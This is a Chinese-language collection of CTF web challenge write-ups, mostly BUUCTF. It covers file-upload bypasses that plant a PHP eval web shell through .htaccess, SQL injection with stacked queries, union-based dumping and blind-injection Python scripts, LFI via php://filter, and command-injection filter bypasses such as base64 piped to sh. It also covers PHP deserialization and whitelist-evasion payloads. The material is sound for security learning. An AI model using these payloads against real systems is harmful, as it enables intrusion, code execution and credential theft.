buuctf
babyupload
1、后缀名不能有ph!对于文件后缀名的限制,无法绕过这里
2、上传类型也太露骨了吧!对Content-Type的限制,修改为image/jpeg即可绕过
3、诶,别蒙我啊,这标志明显还是php啊
对上传文件的内容进行了检测,不能含有<?,这里的PHP版本为:PHP/5.6.23,可以使用 绕过
1 | <script language="php">eval($_POST['111']);</script> |
但是搭建到蚁剑上连接不成功
上传一个.htaccess文件将别的后缀名文件内容解析为php程序
1 | AddType application/x-httpd-php .mochu |

然后上传shell即可

用蚁剑创建数据
找到根目录下的flag

[MRCTF2020]Ez_bypass
打开靶机是一串代码
因为html 渲染过程中是不会把\n当做回车展示的,所以右键查看源代码,瞬间舒服了:
1 | I put something in F12 for you |
按行显示的题目代码“代码审计”
读代码可知拿到flag只需要满足俩条件:
1.让以get方式传参的两个变量gg和id满足md5后的值强比较相等,本身的值弱比较不相等
2.以post方式传参的变量password不是数字并且与数字1234567弱比较相等
由此,在url后追加?id[]=1&gg[]=2就可以显示“You got the first step”的提示。但passwd参数还没有传,此时需要借助浏览器插件HackBar以post方式传入passwd=1234567a
以get方式传参并使md5值相等
总结:
1.给数组类型的变量赋值不同的数值,可以满足变量的md5值在进行强比较时相等,又满足他们自身的值在进行弱比较时不相等。
2.在数字后面加个字母,就不再是数字但又可以满足和数字做弱比较时相等。
[MRCTF2020]你传你🐎呢
这题目的名字一看就能猜到应该是文件上传了
打开靶机链接是这个样子的,我不知道这是什么梗
题目网页
因为类似的题上一篇已经写过了,这里就简写。这道题也是只能上传非php后缀的文件,然后再上传.htaccess文件,使服务器端将jpg看做php。
上传jpg格式的一句话木马:
一句话木马
上传.htaccess时拦截包,修改文件类型为image/jpeg:
上传.htaccess文件
.htaccess里写的内容:SetHandler application/x-httpd-php
上传1.jpg和.htaccess成功后,就可以用中国蚁剑连接了
url地址是:靶机的url/upload/随机生成的一串数/1.jpg(即一句话木马文件上传到的路径)
密码是写在1.jpg里的111
测试连接,显示连接成功,点击添加,在服务器端的根目录可以找到flag
htaccess是什么
.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
随便注
访问url
重命名+堆叠注入
1.判断是否存在注入,注入是字符型还是数字型
输入1’发现不回显
输入1’#显示正常
应该是存在sql注入了
输入1’ or ‘1’=’1,正常回显,应该是字符型
1 | array(2) { |
2.猜解SQL查询语句中的字段数
输入1’ order by 3 # 回显出错,说明有两个字段
1 | error 1054 : Unknown column '3' in 'order clause' |
3.显示字段
输入1′ union select 1,2 # 回显一个正则过滤规则
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
过滤了 select,update,delete,drop,insert,where 和 点
过滤了这么多词,尝试堆叠注入
4.查询数据库
输入1’;show databases;# 成功回显
1 | array(2) { |
说明存在堆叠注入
5.查询表
输入1’;show tables;# 成功回显
1 | array(2) { |
得到两个表words和1919810931114514
6.查询表中字段
查看1919810931114514,输入1’; show columns from 1919810931114514; #
1 | array(2) { |
可以看到1919810931114514中有我们想要的flag字段
7.查询另一个表
1 | array(2) { |
发现flag,因为查看flag的回显会出现在words里,为了回显在flag所属的表,而发现alter、rename又没有被过滤,则试着进行表和字段的重命名
因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id(或data)。然后程序查询就能查询到原本‘1919810931114514’表中的数据
1 | 1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;# |
输入1’ or 1=’1,查询就得到flag
Include
打开页面只有一个a标签的超链接,指向的是?file=flag.php。结合题目的名称不难联想到这是一题文件包含的题目。
看到当?file=flag.php时,页面返回Can you find out the flag。先输入?file=/etc/passwd,确认一下有没有返回,是否真的有文件包含的漏洞。
看到确实存在文件包含漏洞,目前又没有其他的信息。我们不知道真正的flag藏在那个页面中。所以只能先用文件包含漏洞中php://filter/convert.base64-encode/resource伪协议帮我们返回已知页面的代码。输入?file=php://filter/convert.base64-encode/resource=index.php就能得到index.php的源代码的base64密文。解密后得到一下内容:
1 | <?php |
大概意思就是过滤了php的几个伪协议,但刚好没过滤我们这个。
所以可以我们可以看到返回的结果
那现在就取一下flag.php的内容
输入?file=php://filter/convert.base64-encode/resource=flag.php就能得到flag.php的源代码的base64密文。解密后得到一下内容里面就有flag:
1 | <?php |
Exec
打开题目就看到大大的PING,二话不说直接ping个本地ip
涉及知识点:
在命令执行的过程中,可以通过一些常用特殊字符来执行其他语句
; //命令分割符,即当执行完第一个命令,继续执行下一个命令
| //管道
那么尝试在当前文件夹下,有什么东西吧
构造payload
127.0.0.1;ls
我们都知道在linux系统搭建的页面,通常显示页面的路径是/var/www/html,那么我们尝试返回当前路径查找
构造payload
127.0.0.1;cd ../../../;ls
在返回前三层的时候找到了flag 字样
1 | bin |
构造payload
127.0.0.1;cd ../../../;cat flag
flag{977043da-6f7d-4f7a-9e8e-2c65837cb657}
Ping Ping Ping
(1)页面里显示/?ip=,很明显要以ping的形式传一个参数给ip,并且我们要想执行其他命令,就要用命令分隔符也就是管道符连接,命令分隔符可以用”;“”|“”&”三种,本题经过尝试发现第一步查看目录过滤了|,&和空格。
这里介绍两种方式:
1.ping本地127.0.0.1
2.用||来代替127.0.0.1;
(2)虽然找到了放flag的文件,但是尝试后发现都不对,这里介绍一种思路,我们可以通过查看index.php的文件源码来查看源码,从而确认过滤了哪些东西,题目说过滤了命令连接符&,\,空格,*,bash,<>,flag,?,我们得想一些其他方法来绕过
(3)要想得到flag了,我们需要绕过过滤掉的东西
这里介绍三种可以解决的特殊绕过方式:
1.拼接绕过法
1 | else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ |
以上是题目给的绕过flag的源码,我们这里需要知道这是正则表达式匹配了ip的值中是否顺序出现了f、l、a、g四个字母。这样一来我们就可以拼接一个flag来绕过了,可以拼接f;lag fl;ag fla;g 但是这里需要注意:本题特殊就特殊在flag的字母顺序要不同(拼接绕过的一个大坑)
1 | y=g;x=fla;$x$y |
构造payload:/?ip=||y=ag;x=fl;cat$IFS$9$x$y.php跑一下查看源码得到flag
2.内联执行法
可以看到代码没有过滤掉符号` 所以可以利用内联执行的方式直接打开flag文件,先执行命令ls,再把ls得到的文件名全部用命令cat打开,构建payload 跑一下,查看源码拿到flag
1 | /?ip=127.0.0.1;cat$IFS$6`ls`或者/?ip=||cat$IFS$6`ls` |
3.sh编码绕过法(base64编码)
使用方法:echo 命令编码|base64 -d|sh
1 | sh可以换成bash, 但是题目过滤掉了 |
构造payload , 相当于执行命令cat flag.php,查看源码得到flag
1 | /?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh |
[SUCTF 2019]EasySQL1
1.试试sql注入正常套路
(1)先试试1有回显
(2)再试试字母a没有回显
(3)试试单引号注入1' or '1'='1,提示不一样,因此猜测这里有注入点
(4)试试有多少列,1' order by 4#,还是不成功,因此一般的联合查询在这里不能使用
(5)基于时间的盲注和报错注入都需要嵌套联合查询语句来实现,因此可以跳过,直接试试布尔型盲注,1' and length(database())>=1还是不成功
2.利用堆叠注入
(1)查找所有数据库,1;show databases;#
(2)查询所有表名,1;show tables;#
(3)查询Flag表中的列,1;show columns from Flag#,不成功
3.接下来是网上的两种解法
(1)第一种是猜出了源码select $_POST[‘query’] || flag from Flag,
sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
第一种就按默认没有配置来进行,此时||就是逻辑或
||在命令执行中见过,
回顾:
command1;command2顺序执行
command1 || command2
如果command1执行失败,则执行command2
command1 && command2
如果command1执行成功,则执行command2
因此只需要将
$_POST[‘query’]
提交的数据换成*,1(如果直接写的话会被报错,且写在后面会失效)
解释:
sql=select.post[‘query’].”||flag from Flag”;(拼接语句)
如果$post[‘query’]的数据为 *,1
sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
此处的1是临时增加一列,列名为1且这一列的所有值都为1
执行payload:*,1,得到flag
(2)第二种是将||作为字符串连接符,因此需要在语句中更改其配置
sql_mode=PIPES_AS_CONCAT时即可
Payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接完之后:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
相当于是select 1 from Flag和select flag from Flag,得到flag
[BSidesCF 2020]Had a bad day
先看一下题目,有注入点,这里怀疑是SQL注入
先尝试读取一下index.php
这里使用php伪协议
payload:
php://filter:/convert.base64-encode/resource=index.php
存在文件包含漏洞,但是这里报错了,分析之后是无法打开流:操作失败
这里去除php后缀
payload
php://filter/convert.base64-encode/resource=index

解码之后找到index.php
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
传入的category参数必须有woofers,meowers,index才行
这里构造payload来包含flag.php
1 | /index.php?category=woofers/../flag |
这里使用的知识点是php://filter伪协议套协议
payload:
1 | /index.php?category=php://filter/convert.base64-encode/index/resource=flag |

base64解码得CTF{happiness_needs_no_filters}
[CISCN2019 华北赛区 Day2 Web1]Hack World
输入0回显ErrorOccureWhenFetchResult.
输入1回显Hello,glzjinwantagirlfriend.
输入2回显Doyouwanttobemygirlfriend?
输入大于2数回显:ErrorOccureWhenFetchResult.
然后尝试1’发现有回显bool(false)说明这是一道数字类型
然后提示里面说了flag在flag表的flag列里,只交id,因为我们在输入后地址栏没有回显参数,所以应该是post传参
接着是经典的burp里利用fuzz(模糊测试)测试过滤字段,根据回显判断是否被过滤,最后发现:空格,or,order,union以及报错注入的相关字符都被过滤了但是select和from没有被过滤,空格被过滤可以采用()括号的方式进行绕过,应该使用回车制表符这些也可以进行绕过,比如%09 %0a %0b %0c %0d /**/ /!/或者直接tab,%20 好像没法绕,%00截断好像也影响sql语句的执行,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
在看了别人的wp时发现根据0,1回显不同,输入1时返回Hello, glzjin wants a girlfriend.,输入0时返回Error Occured When Fetch Result.构造返回结果为0或1的布尔类型进行盲注即可
因为表和字段都给出来了,所以直接 构造语句
有两个方法:
1.mid函数
id=(select(ascii(mid(flag,1,1))=102)from(flag))
mid用于截取字符串,第一个参数是指定的字段,第二个参数是开始截取的位置,第三个参数可选,表示一次截取多少
mid函数在这里的用法了:如果ascii码正确,那么会返回1,得到的回显也就是包含Hello的那条语句如果失败那么就是Error
1 | import requests |
这里再附一个源码辅助我们理解这道题:
<?php $dbuser='root'; $dbpass='root';
function safe($sql){ #被过滤的内容 函数基本没过滤 $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./'); foreach($blackList as $blackitem){ if(stripos($sql,$blackitem)){ return False; } } return True; } if(isset($POST['id'])){ $id = $POST['id']; }else{ die(); } $db = mysql_connect("localhost",$dbuser,$dbpass); if(!$db){ die(mysql_error()); } mysql_select_db("ctf",$db);
if(safe($id)){ $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){ $result = mysql_fetch_array($query);
if($result){ echo $result['content']; }else{ echo "Error Occured When Fetch Result."; } }else{ var_dump($query); }
}else{ die("SQL Injection Checked."); }
2.这道题还能用到的知识点有:
异或:https://www.jianshu.com/p/27df5c67157c
^ ⽤它可以起到代替or的作⽤,sql中的^是异或判断当两边相同的时候,输出值为0,如1^1=0,1^0=1
大概在这里应用就是假^假 =假 ,真^真=假,假^真=真,真^假=真
转换为0和1即为 0^0=0 1^1=0 1^0=1 0^1=1
所以当我们查询 1^0、0^1、和 1 的回显是一样的,而查询 1^1 或0^0却会有报错提示。
所以结合 sql语句 ,我们可以构造0^payload,若为payload结果真,则返回1,0^1=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。
但如何构造payload,因为空格被过滤,所以用括号来代替分割,这里也算学的新方法,利用ASCII码来逐一匹配
所以这里第二个构造方法:
异或+substr
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
ascii:取字符串第一个的字符的ascii substr:切割(mysql里的substr的start是从1开始),substr的len可以无限大,这个不影响根据(ascii(substr((select(flag)from(flag)),1,1000))>1)的值来进行异或,这个值为1或者0再和1进行异或,根据页面回显即可判断出最终flag
substr函数 substr(string,start,length) 所以我们要逐渐改变查询的位置,查询的长度一直是1,也就是我们每次只查询一个单词 ascii函数,ascii(str) ,str是一个字符串参数,返回值为最左侧字符的ascii码
1 | import requests |
我们把flag的每一位用substr取出来,然后用ascii和某个字符比较(用的是二分查找)最后max 和 min差1的时候就说明max为正确的字符(具体也不太清楚为什么不是max和min相等的时候)。然后要注意题目貌似过滤了空格,所以要善用括号来分割。然后每次请求不能太快,不然平台存在的waf会报错,所以每次需要sleep一段时间。
我们可以看到for i in range(1,43) 为什么是43呢?因为动态flag的长度是42位,又因为python里的range右界是小括号,所以42要再+1。看到这,是不是明白点什么呢?我们要把flag一位一位猜出来!用的方法就是这个
3.最后在翻wp发现还有第三种构造方法:
sql的三目运算
if( 表达式1,表达式2,表达式3)
如果表达式1是正确的,那么执行表达式2,否则执行表达式3
if(ascii(substr((select(flag)from(flag)),1,1))=ascii(‘f’),1,2)
import requests
url = 'http://8824c129-640d-4745-bf80-2e7aef3b1cf2.node4.buuoj.cn:81/index.php'
result = ''
for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
data = {
"id":payload
}
response = requests.post(url, data = data)
if 'Hello' in response.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(int(mid))
print(result) 作者:很菜的wl https://www.bilibili.com/read/cv18150908/ 出处:bilibili
BUUCTF–[极客大挑战 2020]Greatphp
进入页面后可以看到给出的代码
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
看到unserialize就很容易猜到这里考察的是反序列化漏洞
用Error类绕过md5和sha1检测

Error类中有__tostring方法,md5()和sha1()函数都会调用__tostring()
test:
<?php
$a = new Error("payload",1);
$b = new Error("payload",2);
echo $a;
echo "<br>";
echo $b;
echo "<br>";
if($a != $b)
{
echo "a!=b";
}
echo "<br>";
if(md5($a) === md5($b))
{
echo "md5相等"."<br>";
}
if(sha1($a)=== sha1($b)){
echo "sha1相等";
}
结果:
a!=b
md5相等
sha1相等
我们可以将题目代码中的 $syc 和 $lover 分别声明为类似上面的内置类的对象,让这两个对象本身不同(传入的错误代码即可),但是 __toString 方法输出的结果相同即可
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include “/flag” 将flag包含进来即可;由于过滤了引号,我们直接用url取反绕过即可
借用大佬的脚本
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
[CISCN2019 初赛]Love Math
知识点
base_convert() 函数
在任意进制之间转换数字。
语法
base_convert(number,frombase,tobase);
| 参数 | 描述 |
|---|---|
| number | 必需。规定要转换的数。 |
| frombase | 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。 |
| tobase | 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。 |
in_array()函数
in_array(值,数组) 函数搜索数组中是否存在指定的值。
实例
<?php
$people = array("Peter", "Joe", "Glenn", "Cleveland", 23);
if (in_array("23", $people, TRUE))
{
echo "Match found<br>";
}
else
{ echo "Match not found<br>"; }
?>
本实例输出Match found
dechex()函数
dechex() 函数把十进制数转换为十六进制数。
hex2bin() 函数
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
奇技淫巧
用变量保存函数和参数
为了绕过80字长限制,我们用变量保存函数和参数
看payload理解一下
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls /flag
这里用$pi存储后面的payload
转换进制来绕过函数名的白名单过滤
hex2bin为白名单之外的函数 我们想利用该函数 可以将hex2bin看作一个36进制的字符串 再使用进制转换工具 将hex2bin转换为10进制数字 再用base_convert函数将十进制转为36进制
题解
进入环境,发现源码,开始审计
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
这里的代码审计可以分为三块
第一块
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
字长不能大于80 否则 pass 我们可以通过把payload存在变量里来绕过
第二块
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
黑名单,过滤了空格 换行符 单双引号,反引号 斜杠 中括号等东东
这里有影响的主要是中括号
中括号的bypass
使用{}花括号代替
第三块
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
白名单 你的变量名必须使用这里边的函数名
我们可以通过重定义来使用这些变量名
一般遇到这种都是构造命令执行
我们的目标字符串显然还是 system(‘cat /flag’)
于是我们先来写下我们需要传参的字符串
G E T [ a ] ( _GETa&a=system&b=cat flag
以下都是为了构造_GET
扫了一眼,hex2bin函数不在白名单内不能直接用
啊那我们在白名单里找到一个base_convert函数,其用法在上文知识点中有介绍
hex2bin 在字母表中最靠后的字符为x,这意味着我们可以把它当作一个36进制数 使用在线进制转换得到hex2bin作为一个36进制数的对应十进制数,再用base_convert 函数进行转换
payload:
base_convert(37907361743,10,36)
然后使用dechex函数
先把_GET字符串转十六进制数,再用进制转换工具转换为10进制 放入dechex函数
前半段payload构造完毕
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));
后半段payload
比较容易理解了
把目标payload
c=$pi=$_GET[a]($_GET[b])&a=system&b=cat /flag
转换一下,即为(GET即为$pi)
c=$pi=_GET;($_GET){pi}($_GET){abs}&pi=system&abs=cat /flag
故构造
$$pi{pi}$$pi{abs}&pi=system&abs=cat /flag
结合一下,得出payload
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

[ACTF2020 新生赛]BackupFile 1
提示扫描源文件
使用dirsearch扫描目录
1 | <?php |
在PHP中:
= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
所以,这里的a = = b是返回True。
所以这里我们只需要提供一个参数?key=123就可以拿到flag了ss
[网鼎杯 2020 青龙组]AreUSerialz
1 | <?php |
1.传入str,经过处理反序列化。
2.is_valid过滤:传入的string要是可见字符ascii值为32-125。
3.$op:op==”1”的时候会进入write方法处理,op==”2”的时候进入read方法处理。
需要绕过两个地方:
1、is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
绕过方法:
①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
O:11:”FileHandler”:3:{S:5:”\00\00op”;i:2;S:11:”\00\00filename”;S:8:”flag.php”;S:10:”\00*\00content”;S:7:”oavinci”;}
2、__destruct()魔术方法中,op===”2”是强比较,而process()使用的是弱比较op==”2”,可以通过弱类型绕过。
绕过方法:op=2,这里的2是整数int类型,op=2时,op===”2”为false,op==”2”为true
题解操作:(这里使用绕过is_valid()函数的第一种方法,利用public属性序列化)
<?php
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "oavinci";
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
?>
得到base64解码得到flag
[极客大挑战 2019]Secret File
看到这种题目,首先到处点一点,看看有什么奇怪的地方,然后打开源代码,找到了一个东西发现了一个网址./Archive_room.php按CTRL键点击即可进入,可以看到
然后我们进入到它所提示的界面,是这个样子的

我们点击secret

这显然不是的,回到上一个界面,查看源代码

发现一个不对劲的地方,代码提示的方法是action,而跳转的却是end

说明这个跳转的时间特别快,我们需要抓包,有一个抓包神器BrupSuite,使用它发现action有一个隐藏的回应

我们加上路径访问试一下,又提示我们找flag.php

跟着提示来,是这个页面,没有像之前一样是隐藏的按钮,查看源代码,发现还是没有

结合题目一下想到的文件隐藏
php://filter是php的一个协议,可以用来查找漏洞
使用方法
1 | php://filter/convert.base64-encode/resource=目标文件 |
对于这个题目我们直接在访问secr3t.php的后面加上?file=php://filter/convert.base64-encode/resource=flag.php

这时候下面多出了一个base64加密,这是我们使用php://filter得到的,把它试着去解密一下
base64解密得到flag
[极客大挑战 2019]LoveSQL
发现登录框,可能是万能密码登录,我们试一下:
在登录框中输入:
用户名:1' or 1=1#
密码:123(随便输)
点击登录
跳转到了check.php页面。并得到了用户名和密码:
尝试密码md5解密失败,还是回到注入的思路上,查询字段数:
在url中输入:
/check.php?username=admin' order by 3%23&password=1 存在
/check.php?username=admin' order by 4%23&password=1 报错
注意:此时是在url中输入的,所以不能用#,而用其url编码%23。
在这里插入图片描述
可知共3个字段。用union查询测试注入点(回显点位):
/check.php?username=1' union select 1,2,3%23&password=1
得到回显点位为2和3,查询当前数据库名及版本:
/check.php?username=1' union select 1,database(),version()%23&password=1
可知当前数据库为geek
接下来:
爆表:
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

爆出这两个表,我们试一下l0ve1ysq1这个表
爆字段:
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1xxxxxxxxxx /check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=11

得到这三个子段,
爆数据:
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
得到flag
[护网杯 2018]easy_tornado
访问/flag提示会说flag在/fllllllllllag里
值得注意的是访问后网页url发生的变化,这里居然有两个参数
替换掉filename的值后页面url再次发生变化,网页只有一个msg传参的数据

访问welcome.txt,只是回显了一个render,百度了一下,出来了几段模版注入的文章,就想到了之前学习flask模版注入里的,render_template渲染函数
最后访问一下hints.txt,md5(cookie_secret+md5(filename))
出现了一个MD5算法,filename我们知道,只不过这个cookie_secret,需要了解一下
那说明URLfilehash参数就是上面算法MD5加密后的字符串,那我们只要得到cookie_secret,就可以经过算法得到flag
cookie_secret简介
普通的cookie并不安全,可以通过客户端修改
在Tornado框架中,cookie_secret是一个密钥,一般使用随机生成的字符串,被用于对生成的cookie进行加密。它的作用是确保cookie的安全性,防止被修改或伪造。
具体来说,当Tornado应用程序使用set_secure_cookie()函数设置cookie时,会使用cookie_secret对cookie进行加密。而在获取cookie时,Tornado则会使用同样的密钥进行解密,并验证cookie是否被篡改。如果cookie_secret不匹配,Tornado将不会对其进行解密,并抛出异常,以防止未经授权的访问。
handler.settings
handler.settings在Tornado框架中是一个字典,用于存储应用程序的各种配置选项。其中包括一些默认的配置选项,也可以自定义添加其他配置选项。
在Tornado框架中,cookie_secret是handler.settings字典中用于配置cookie密钥的一个选项。Cookie密钥是用于加密和验证cookie的字符串,它应该是一个随机且足够长的字符串,用于保证cookie的安全性和完整性。
解题步骤
我们可以利用handler.settings,去访问一些配置,就能得到cookie_sercret的键值对,这样我们就可以通过hints文件提供的算法,求得filehash的值

[0CTF 2016]piapiapia
进入环境,发现了登录页面 以为是注入类题目(主要是sql注入),一番尝试后却没有发现注入点
尝试使用 dirsearch 扫描目录 看看能有什么发现
发现了 网页源代码 www.zip 以及一系列php文件
访问 register.php 注册用户
注册登陆后 进入就是 update.php 文件 ,进行用户信息收集
提交信息后没有发现什么信息
下载网站源代码,进行代码审计
index.php和register.php 没有什么值得注意的地方
我们重点关注剩下的php文件,
updata.php
重点就是
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
进行一个正则匹配,
phone 的位数必须是11位
email的格式必须为 数字+@+字母+ . +字母例如:123456.@pp.com
nickmane 并没有做什么明确的要求,但值得一提的是前面的两个正则匹配是 是不匹配执行 这个是匹配执行。
同时,对photo进行大小判断
class.php
重点php片段
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
